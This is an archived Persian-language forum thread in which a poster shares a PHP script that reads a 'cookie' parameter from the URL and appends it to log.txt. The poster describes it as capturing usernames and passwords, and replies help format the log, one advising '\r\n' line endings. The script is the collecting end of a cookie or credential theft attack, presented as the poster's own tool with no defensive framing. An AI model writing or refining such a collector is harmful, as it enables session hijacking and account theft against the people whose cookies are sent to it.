PDA

View Full Version : حرفه ای: ایجاد فاصله بعد از ذخیره اطلاعات



hasht.rood
یک شنبه 22 آبان 1390, 22:31 عصر
سلام دوستان من.
این کد که گذاشتم اینجا کارش دریافت یوزر و پسورد و ذخیره در یک فایل بنام log.txt هست
میخواستم بدونم چیکار کنم تا بعد از هر بار ذخیره اطلاعات یک سطر بره پایین.( کلید اینتر زده بشه) که فاصله بیفته بین اطلاعات. و پشت سر هم ذخیره نشن.
سطر به سطر.
منتظر راهنماییهاتون هستم
شاد باشید
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

رضا قربانی
دوشنبه 23 آبان 1390, 00:53 صبح
http://barnamenevis.org/showthread.php?300088-%D8%B0%D8%AE%DB%8C%D8%B1%D9%87-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D8%AF%D8%B1-%DB%8C%DA%A9-%D9%81%D8%A7%DB%8C%D9%84&p=1316337&viewfull=1#post1316337

pejman_view
دوشنبه 23 آبان 1390, 01:57 صبح
سلام دوستان من.
این کد که گذاشتم اینجا کارش دریافت یوزر و پسورد و ذخیره در یک فایل بنام log.txt هست
میخواستم بدونم چیکار کنم تا بعد از هر بار ذخیره اطلاعات یک سطر بره پایین.( کلید اینتر زده بشه) که فاصله بیفته بین اطلاعات. و پشت سر هم ذخیره نشن.
سطر به سطر.
منتظر راهنماییهاتون هستم
شاد باشید
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

سلام دوست عزیز کد شما صحیح است اما به یک چیز دقت نکردید "\n" برای وب سروری که بر روی مک یا لینوکس نصب است بصورت صحیح کار می کند و 100% شما دارید بر روی سیستم عامل ویندوز کار می کنید باید حتماً قبل از \n کد \r هم اضافه کنید مانند زیر:


fwrite($log,$cookie ."\r\n");


حتماً بایستی کار کند.